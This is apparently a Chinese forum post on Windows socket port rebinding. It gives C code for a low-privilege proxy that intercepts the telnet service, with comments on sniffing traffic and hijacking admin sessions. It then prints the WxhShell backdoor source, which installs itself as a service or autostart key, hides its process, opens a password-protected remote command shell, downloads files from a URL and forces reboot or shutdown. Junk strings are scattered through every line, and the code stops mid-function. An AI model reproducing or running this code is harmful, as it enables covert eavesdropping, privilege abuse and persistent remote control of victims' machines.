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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  E@b(1@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GN2Sn` ;  
r3PT1'P?L  
  saddr.sin_family = AF_INET; cMOyo<F#^=  
LSRk7'0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); o !U 6?  
}B1!gz$YNO  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,l)^Ft`5  
Ct>GYk$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 UNBH  
mrjswF27$o  
  这意味着什么?意味着可以进行如下的攻击: V=*wKuB  
<Sr  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [)TRTxFb  
\7'+h5a  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) BT"XT5@  
PAM}*'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^RI?ybDd  
 .P"D  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  c(~[$)i6  
T]c%!&^ _  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 lx7Q.su'  
&:`U&06q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (P:<t6;+  
#n8IZ3+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &*aIEa^  
6g)G Y"49  
  #include , JQp'e  
  #include ]'=)2 .}  
  #include VB*oGG  
  #include    2V#>)R#k  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6l:qD`_  
  int main() D-._z:_  
  { +O?KNZ  
  WORD wVersionRequested; Ev}C<zk*  
  DWORD ret; "L&#lfOKG  
  WSADATA wsaData; /PSd9N*=y  
  BOOL val; }|8_9Rx0*  
  SOCKADDR_IN saddr;  cHk)i  
  SOCKADDR_IN scaddr; ~G6Ox)/  
  int err; Vo'T!e- B  
  SOCKET s; 2|*JSU.I  
  SOCKET sc; z\%67C  
  int caddsize; 1 P!Yxeh  
  HANDLE mt; ~ r4 38&  
  DWORD tid;   M]2]\km  
  wVersionRequested = MAKEWORD( 2, 2 ); M,\:<kNI  
  err = WSAStartup( wVersionRequested, &wsaData ); wG-HF'0L  
  if ( err != 0 ) { `M^= D&Bf  
  printf("error!WSAStartup failed!\n"); y1+*6|  
  return -1; z?*w8kU&>  
  } N@Uy=?)ZJ  
  saddr.sin_family = AF_INET; LAS'u "c|  
   2so!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7E79-r&n  
3!|;iJRH  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); T~##,qQ  
  saddr.sin_port = htons(23); DrY:9[LP  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]Hefm?9*^  
  { j~jV'f.:H  
  printf("error!socket failed!\n"); =*c7i]@}  
  return -1; .7avpOfz  
  } #PH~1`vl  
  val = TRUE; IS&ZqE(`e  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 NUWDc]@J*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =k^Y?.  
  { p o2!  
  printf("error!setsockopt failed!\n"); %D%8^Zd_  
  return -1; a C\MJ9  
  } -7@/[9Gf`:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zGkS^Z=(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |8l<$J  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @v)p<r^M">  
:2rZcoNb.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8"8t-E#?  
  { oldA#sA$  
  ret=GetLastError(); Ki$MpA3j   
  printf("error!bind failed!\n"); |Sy<@oq  
  return -1; )I^7)x  
  } SBfT20z[  
  listen(s,2); yDegcAn?  
  while(1) f=r<nb'H  
  { -~v2BN/  
  caddsize = sizeof(scaddr); R\G0'?h >  
  //接受连接请求 bU2Z[sn.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ] [+#;avU  
  if(sc!=INVALID_SOCKET) IID-k  
  { v,-HU&/*B  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); RL@VSHXc  
  if(mt==NULL) i%#+\F.&  
  { JP!~,mdS  
  printf("Thread Creat Failed!\n"); UU;(rS/  
  break; J\:R|KaP<p  
  } 7WkB>cn  
  } [6%VRqY  
  CloseHandle(mt); ^cP!\E-^  
  } ;Q OBBF3HG  
  closesocket(s); 9.gXzP H  
  WSACleanup(); 4~Vx3gEV:  
  return 0; =JK@z  
  }   g9}DnCT*.  
  DWORD WINAPI ClientThread(LPVOID lpParam) /_AnP  
  { pz\ +U7  
  SOCKET ss = (SOCKET)lpParam; IoQEtA  
  SOCKET sc; z<U-#k7nz  
  unsigned char buf[4096]; ff,pvk8N5  
  SOCKADDR_IN saddr; _VRpI)mu  
  long num; 59Xi3KY  
  DWORD val; ao1(]64X"  
  DWORD ret; 8*#R]9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 s%nUaWp~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %et } A93  
  saddr.sin_family = AF_INET; .oYl-.E>&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :8=ikwQ  
  saddr.sin_port = htons(23); &_dt>.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {JZZZY!n2  
  { Tc>   
  printf("error!socket failed!\n"); .w=/+TA  
  return -1; r ~jm`y  
  } \E72L5nJW  
  val = 100; PV'x+bN5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B}Z63|/N  
  { SPX$ U5&  
  ret = GetLastError(); zZPuha8  
  return -1; e6R}0w~G  
  } _~IR6dKE  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X0bN3N  
  { R_W+Ylob  
  ret = GetLastError(); n'wU;!W9  
  return -1; GK )?YM  
  } BP'36?=Zo  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -3t7*  
  { \qdHX  
  printf("error!socket connect failed!\n"); ;4R$g5-4X  
  closesocket(sc); 591>rh)  
  closesocket(ss); DBW[{D E  
  return -1; WejY y|  
  } w28o}$b`  
  while(1) -LK B$   
  { TyD4|| %  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !"HO]3-o  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 J*yf2&lI5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 q>_/u"  
  num = recv(ss,buf,4096,0); .zA^)qgL  
  if(num>0) twL3\ }N/B  
  send(sc,buf,num,0); <k eVrCR  
  else if(num==0) YSr9VpqWV  
  break; Xb:;</  
  num = recv(sc,buf,4096,0); T*8VDY7  
  if(num>0) >BIMi^  
  send(ss,buf,num,0); f=(?JT  
  else if(num==0) ][gq#Vx@  
  break; 3GaQk-  
  } 2Nu=/tMN  
  closesocket(ss); ] bM)t<  
  closesocket(sc); 6}gls}[0{e  
  return 0 ; 1L%CJ+Q#0i  
  } ocqU=^ta  
g`{;(/M+  
wKtl+}}  
========================================================== kw >v:F<M  
mq aHwID  
下边附上一个代码,,WXhSHELL rHC>z7+z.  
)M,Of Xa  
========================================================== 63q^ $I  
]e"=$2d$  
#include "stdafx.h" f/ ?_  
9_q#W'/X  
#include <stdio.h> |4)>:d  
#include <string.h> HmiR.e%<b  
#include <windows.h> WZ-s--n#  
#include <winsock2.h> 0t^M3+nc  
#include <winsvc.h> $:=A'd2  
#include <urlmon.h> 7]U"Z*  
h;C5hU 4P  
#pragma comment (lib, "Ws2_32.lib") 35Ij ..z0  
#pragma comment (lib, "urlmon.lib") 54gBJEhg  
$*^kY;  
#define MAX_USER   100 // 最大客户端连接数 yQ_B)b  
#define BUF_SOCK   200 // sock buffer r54&XE]O  
#define KEY_BUFF   255 // 输入 buffer )JDs\fUE  
9A/\h3HrJ  
#define REBOOT     0   // 重启 Hbj,[$Jb  
#define SHUTDOWN   1   // 关机 ^!<U_;+  
l7XUXbYp&=  
#define DEF_PORT   5000 // 监听端口 03|PYk 6EW  
;;_,~pI?k  
#define REG_LEN     16   // 注册表键长度 eV 2W{vuI  
#define SVC_LEN     80   // NT服务名长度 #+:9T /*>0  
8;d:-Cp  
// 从dll定义API W3]_m8,Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6 bomh2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c&r70L,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8>trS=;n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8|):`u  
> A Khf  
// wxhshell配置信息 $Z!`Hb  
struct WSCFG { <>dT64R|  
  int ws_port;         // 监听端口 .R) D3NZp  
  char ws_passstr[REG_LEN]; // 口令 j|4<i9^}  
  int ws_autoins;       // 安装标记, 1=yes 0=no m4TE5q%3  
  char ws_regname[REG_LEN]; // 注册表键名 KX76UW   
  char ws_svcname[REG_LEN]; // 服务名 HFKf kAl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ) brVduB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T_s _p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y#!UPhg<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -(~.6WnhS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [="e ziM{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h hG4-HD  
zO~8?jDN4|  
}; cGtO +DE  
ta35 K"  
// default Wxhshell configuration YNLV9.P6  
struct WSCFG wscfg={DEF_PORT, un)4eo!7  
    "xuhuanlingzhe", %j:]^vqFA  
    1, aO]ZZleNS  
    "Wxhshell", ge,H-8'Z  
    "Wxhshell",  tR}MrM  
            "WxhShell Service", w&$`cD  
    "Wrsky Windows CmdShell Service", c2h{6;bfY  
    "Please Input Your Password: ", &qMPq->  
  1, w:%o?pKet1  
  "http://www.wrsky.com/wxhshell.exe", iWRH{mK  
  "Wxhshell.exe" H(R1o~  
    }; I CZ4 A{I  
VYu~26Zr  
// 消息定义模块 XF Patd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >7wOoK|1'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |2?'9<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QP@%(]fG  
char *msg_ws_ext="\n\rExit."; %dRo^E1p  
char *msg_ws_end="\n\rQuit."; 5\N(PL  
char *msg_ws_boot="\n\rReboot..."; iWei  
char *msg_ws_poff="\n\rShutdown..."; NV)!7~r}:  
char *msg_ws_down="\n\rSave to "; :?k>HQe  
&)8:h+&Z  
char *msg_ws_err="\n\rErr!"; *'OxAfa#x  
char *msg_ws_ok="\n\rOK!"; u\E?Y[1  
b o0^3]Z  
char ExeFile[MAX_PATH]; LUG;(Fko  
int nUser = 0; qHsUP;7  
HANDLE handles[MAX_USER]; k >F'ypm  
int OsIsNt; bBu,#Mc  
us ;YV<)d  
SERVICE_STATUS       serviceStatus; y)F;zW<+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _wC3kAO  
<A<{,:5C  
// 函数声明 (hTCK8HK  
int Install(void); x4g3 rmp  
int Uninstall(void); \,7f6:  
int DownloadFile(char *sURL, SOCKET wsh);  :l~ I  
int Boot(int flag); O#x*iI%  
void HideProc(void); X'wE7=29M  
int GetOsVer(void); |>27'#JC  
int Wxhshell(SOCKET wsl); V_>\ 9m  
void TalkWithClient(void *cs); _,zA ^*b  
int CmdShell(SOCKET sock); _]04lGx27  
int StartFromService(void); Scp7X7{N  
int StartWxhshell(LPSTR lpCmdLine); ^g*pGrl#  
\[BK1JP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .clP#r{U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); guX 9}  
W@T~ly;e*  
// 数据结构和表定义 /+8JCp   
SERVICE_TABLE_ENTRY DispatchTable[] = $iI]MV%=  
{ 0n@rLF  
{wscfg.ws_svcname, NTServiceMain}, #%`|~%`{:  
{NULL, NULL} 9)0D~oUi  
}; FjK3 .>'  
0T@Zb={  
// 自我安装 [r3!\HI7x  
int Install(void) -d8TD*^  
{ @_U;9)  
  char svExeFile[MAX_PATH]; ,%n\=  
  HKEY key; #?5 (o  
  strcpy(svExeFile,ExeFile); U3 */v4/  
@*}D$}aR'V  
// 如果是win9x系统,修改注册表设为自启动 -c(F1l  
if(!OsIsNt) { wDcj,:h`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vK 7^*qr;j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HqI t74+  
  RegCloseKey(key); $>*3/H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _Bj)r}~7#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `o<' x.I  
  RegCloseKey(key); =2[7 E  
  return 0; >QA uEM  
    } )_1zRT|9  
  } =2Bg9!zW>  
} Kpb#K[(]&  
else { >GQEqXs  
w<zIAQN  
// 如果是NT以上系统,安装为系统服务 Ks=>K(V6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0*%Z's\M"  
if (schSCManager!=0) iDMJicW!+F  
{ pV.Av  
  SC_HANDLE schService = CreateService Nqw&< x+  
  ( >fe- d#!{  
  schSCManager, dOqOw M.y  
  wscfg.ws_svcname, Fp@TCPe#  
  wscfg.ws_svcdisp, 6^uq?  
  SERVICE_ALL_ACCESS, {88)~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , eyefWn&  
  SERVICE_AUTO_START, .^N/peU q  
  SERVICE_ERROR_NORMAL, 9v?N+Rb  
  svExeFile, thV>j9'  
  NULL, RMX:9aQ3F  
  NULL, JXCCTUO  
  NULL, ~3WM5 fv  
  NULL, "u6`m?  
  NULL y|CP;:f;  
  ); EPS={w$'s  
  if (schService!=0) Se HagKA  
  { 9l}FU$  
  CloseServiceHandle(schService); 7G.#O}).b  
  CloseServiceHandle(schSCManager); ;w'D4p= P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ` jzTmt  
  strcat(svExeFile,wscfg.ws_svcname); MxWy*|J}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { WtViW=j'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RMd[Yr2e  
  RegCloseKey(key); N5*u]j  
  return 0; +u!0rLb  
    } M(jgd  
  } Wm_4avXtO  
  CloseServiceHandle(schSCManager); x 8Retuv  
} !lEY=1nHOJ  
} (:._"jp]  
7nHF@Y|*"  
return 1; T6H}/#*tK  
} MxSM@3v(  
wSb 1"a  
// 自我卸载 3= xhoRX  
int Uninstall(void) /V8}eZ97  
{ F_Y7@Ei/  
  HKEY key; 7:9.&W/KE  
/J04^ 6  
if(!OsIsNt) { ,S'p %g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  yyv8gH  
  RegDeleteValue(key,wscfg.ws_regname); M7+nW ; e%  
  RegCloseKey(key); Ul2R'"FB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,Vh.T&X5  
  RegDeleteValue(key,wscfg.ws_regname); bA\<.d  
  RegCloseKey(key); YGv<VOWG2  
  return 0; &07]LF$]  
  } A$#p%y b  
} 6fd+Q  /  
} Z-E`>  
else { *GxTX3i}vc  
jov:]Bic  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hGd<<\  
if (schSCManager!=0) @) s,{F  
{ F;=4vS]\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q6_u@:3u  
  if (schService!=0) JL\w_v  
  { z |a sa*  
  if(DeleteService(schService)!=0) { 8'<-:KG  
  CloseServiceHandle(schService); )t$,e2FY  
  CloseServiceHandle(schSCManager); @fs`=lL/  
  return 0; A3B56K  
  } vk*=4}:  
  CloseServiceHandle(schService); *H?!;u=8  
  } Gp4A.\7  
  CloseServiceHandle(schSCManager); N5]0/,I}  
} } b=}uiR#  
} :T]o)  
xEf'Bmebk  
return 1; ]xX$<@HR  
} 0KMctPT]p  
9Xl`pEhC  
// 从指定url下载文件 y]J89  
int DownloadFile(char *sURL, SOCKET wsh) WcHgBbNe  
{ 0{dz5gUde  
  HRESULT hr; h3*Zfl<]  
char seps[]= "/"; 3pK*~VK  
char *token; L:_bg8eD#  
char *file; u:m]CPz  
char myURL[MAX_PATH]; Z9575CI<  
char myFILE[MAX_PATH]; 9:`(Q3Ei  
*Ho/ZYj3  
strcpy(myURL,sURL); U f|> (C  
  token=strtok(myURL,seps); .C2TQ:B,.  
  while(token!=NULL) kGd<5vCs  
  { iXj o[Rz^C  
    file=token; OfctoPP _0  
  token=strtok(NULL,seps); M7ers|&{  
  } 0PU8 #2pR  
zX0md x<|<  
GetCurrentDirectory(MAX_PATH,myFILE); ~4s'0 w^  
strcat(myFILE, "\\"); KN t t  
strcat(myFILE, file); cx}Q2S  
  send(wsh,myFILE,strlen(myFILE),0); $/=nU*pd  
send(wsh,"...",3,0); 4m*M,#mV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GN!qyT  
  if(hr==S_OK) F)+{AQL  
return 0; d}JP!xf%  
else wk6NG/<  
return 1; ;9~6_@,@o  
yU8{i&w4  
} IkrF/$r  
hGbj0   
// 系统电源模块 VQ0fS!5'  
int Boot(int flag) q EP 4  
{ Eh =~T9  
  HANDLE hToken; *+uHQgn(  
  TOKEN_PRIVILEGES tkp; 3&6#F"7  
M/):e$S  
  if(OsIsNt) { ?0YCpn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x.3J[=z=>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?Y:8eD"*  
    tkp.PrivilegeCount = 1; )(tM/r4`c&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TQ`Rk;0R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LJOr!rWi  
if(flag==REBOOT) { UTf9S>HS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #]#sGmW/L  
  return 0; "TUe%o  
} Kx=4~  
else { G!Um,U/g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7UL qo>j  
  return 0; -K rxMi  
} [Z~ 2  
  } ithewup  
  else { LwhyE:1  
if(flag==REBOOT) { )13dn]o=2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D K=cVpN%s  
  return 0; BCe|is0  
} y_HN6  
else { T"&)&"W*U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FL8g5I  
  return 0; - !>}_AH  
} Ov UI@,Ef  
} 'yV?*a  
"Ae@lINn[y  
return 1;  1~l I8  
} ^-rfvc  
qwK2WE%T  
// win9x进程隐藏模块 MY/3] g<  
void HideProc(void) Zum0J{l h  
{ {5d9$v7k4  
Xe#K{gA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (`6T&>(4  
  if ( hKernel != NULL ) 9elga"4:'  
  { OKi\zS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vTaJqEE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $b<6y/"  
    FreeLibrary(hKernel); =xsTDjH>  
  } ~}!3G  
?[& 2o|  
return; u$D*tqxG  
} (u]N  
MB%Q WU  
// 获取操作系统版本 \~ BDm  
int GetOsVer(void) f8SL3+v  
{ Dk+&X-]6x5  
  OSVERSIONINFO winfo; v3GwD0 0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M @3"<[g  
  GetVersionEx(&winfo); @ JvPx0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @h*fFiY&{  
  return 1; HLBkR>e  
  else ?%VI{[y#>  
  return 0; WWL4`s  
} j S;J:$>^  
/s-A?lw^2  
// 客户端句柄模块 >yXN,5d[  
int Wxhshell(SOCKET wsl) ,R$u?c0>'&  
{ <H0R&l\  
  SOCKET wsh; `'\t$nU  
  struct sockaddr_in client; `xz<>g9e  
  DWORD myID; / }Rz=&  
}lK3-2Pk  
  while(nUser<MAX_USER) T ]j.=|,d  
{ Wd0 [%`dq  
  int nSize=sizeof(client); Yp0/Ab(v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,jC3Fcly  
  if(wsh==INVALID_SOCKET) return 1; McoK@q ;  
0W3i()  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >(y<0   
if(handles[nUser]==0) gtYAHi  
  closesocket(wsh); `\X+ Ud|  
else %lX%8Z$v  
  nUser++; DAwqo.m  
  } CiR%Ujf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S,U Pl}KF  
t6BHGX{o  
  return 0; \`, [)`  
} bsd99-_(4  
-!0_:m3  
// 关闭 socket yQ3OL#  
void CloseIt(SOCKET wsh) &QG6!`fK}3  
{ VdP`a(Yd;  
closesocket(wsh); i/b'4o=8  
nUser--; XX1Il;1G#  
ExitThread(0); Iyd?|f"  
} |ou b!fG4  
d*oUfiW  
// 客户端请求句柄 DI`%zLDcY  
void TalkWithClient(void *cs) ,-+"^>  
{ 7 Sa1;%R  
-k(CJ5H9  
  SOCKET wsh=(SOCKET)cs; 2"fO6!hh  
  char pwd[SVC_LEN]; SlSM+F  
  char cmd[KEY_BUFF]; k'$!(*]\b  
char chr[1]; bln/1iS  
int i,j; k8,?hX:  
s/:Fwr4q#a  
  while (nUser < MAX_USER) { p'sc0@}_O  
@$"L:1_  
if(wscfg.ws_passstr) { )HD`O~M>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3x~{QG5Gn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l{VSb92f  
  //ZeroMemory(pwd,KEY_BUFF); W5/0`[4  
      i=0; (_r EAEo  
  while(i<SVC_LEN) { kAM1TWbaVQ  
<`!PCuR  
  // 设置超时 Qm8) 4?FZ  
  fd_set FdRead; `VQb-V  
  struct timeval TimeOut; |0{u->+ )  
  FD_ZERO(&FdRead); O)kg B rB  
  FD_SET(wsh,&FdRead); ri1C-TJM)  
  TimeOut.tv_sec=8; Z?J:$of*  
  TimeOut.tv_usec=0; y fSM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WZ!WxX>zO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Qp2I[Ioz3  
9_fePS|Z4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wh:1PP  
  pwd=chr[0]; VR!-%H\AW  
  if(chr[0]==0xd || chr[0]==0xa) { }X;U|]d  
  pwd=0; qn"D#K'&(  
  break; Dml*T(WM>  
  } XJ!(F#zc  
  i++; o{*ay$vA]  
    } 0)9"M.AIvo  
55t\Bms{  
  // 如果是非法用户,关闭 socket l7JY]?p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5 cK@WE:  
} Px5t,5xT8  
'SLE;_TD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o5\b'hR*#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Aa?I8sbc  
u@p?  
while(1) { DWt*jX*  
4$,,Ppn  
  ZeroMemory(cmd,KEY_BUFF); qQxz(}REu9  
0aR,H[r[?  
      // 自动支持客户端 telnet标准   JK#vkCkyM  
  j=0; Ufo>|A6;$  
  while(j<KEY_BUFF) { 5FC4@Ms`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qQ7w&9r.M  
  cmd[j]=chr[0]; 1\dn 1Hh  
  if(chr[0]==0xa || chr[0]==0xd) { 4gdY`}8b^}  
  cmd[j]=0; /w]&t\]*  
  break; k:A|'NK~  
  } "0jJh^vk  
  j++; FVF-:C  
    } 8*g ^o\M  
t ]c{c#N/  
  // 下载文件 g8ES8S M  
  if(strstr(cmd,"http://")) { 8_d -81Dd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W[NEe,.>  
  if(DownloadFile(cmd,wsh)) RV-hIdAU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ? 8 1X  
  else ,pq{& A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W v!<bT8r  
  } N0n^L|(R  
  else { /T0nLp`gi  
K#K\-TR|$  
    switch(cmd[0]) { Aox3s?  
  e=/&(Y  
  // 帮助 0;~yZ?6_F  
  case '?': { dMl+ko  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YEYY}/YX  
    break; SC#sax4N!=  
  } oJ*1>7[J  
  // 安装 0MIUI<;j  
  case 'i': { F5gObIJtuY  
    if(Install()) Jx-wO/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W VkR56  
    else iO!6}yJ*V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }bB` (B,m  
    break; Cd#E"dY6  
    } q]4pEip  
  // 卸载 =lr)gj  
  case 'r': { K.>wQA&  
    if(Uninstall()) -ewQp9)G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V7=SV:+1or  
    else kpfwqHT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oB c@]T5>  
    break; e[Xq  
    } KSs1CF'i  
  // 显示 wxhshell 所在路径 m8R=?U~!S  
  case 'p': { 4cCF \&yU  
    char svExeFile[MAX_PATH]; O>DNC-m)i{  
    strcpy(svExeFile,"\n\r"); $*~Iu%Az  
      strcat(svExeFile,ExeFile); g?/XZ5$a5  
        send(wsh,svExeFile,strlen(svExeFile),0); ){Mu~P  
    break; SKXBrD=-  
    } x.DzViP/  
  // 重启 ro| vh\y  
  case 'b': { I#A2)V0P)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9$d.P6|d>  
    if(Boot(REBOOT)) >`V}U*}*H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )JgC$ <  
    else { `U`#I,Ln[  
    closesocket(wsh); #I\Y= XCY  
    ExitThread(0); R U!?-#*  
    } PE@+w#i7*  
    break; 7h<> k*E)  
    } 32XS`Z  
  // 关机 ^nDal':*  
  case 'd': { 6`nR5fh  
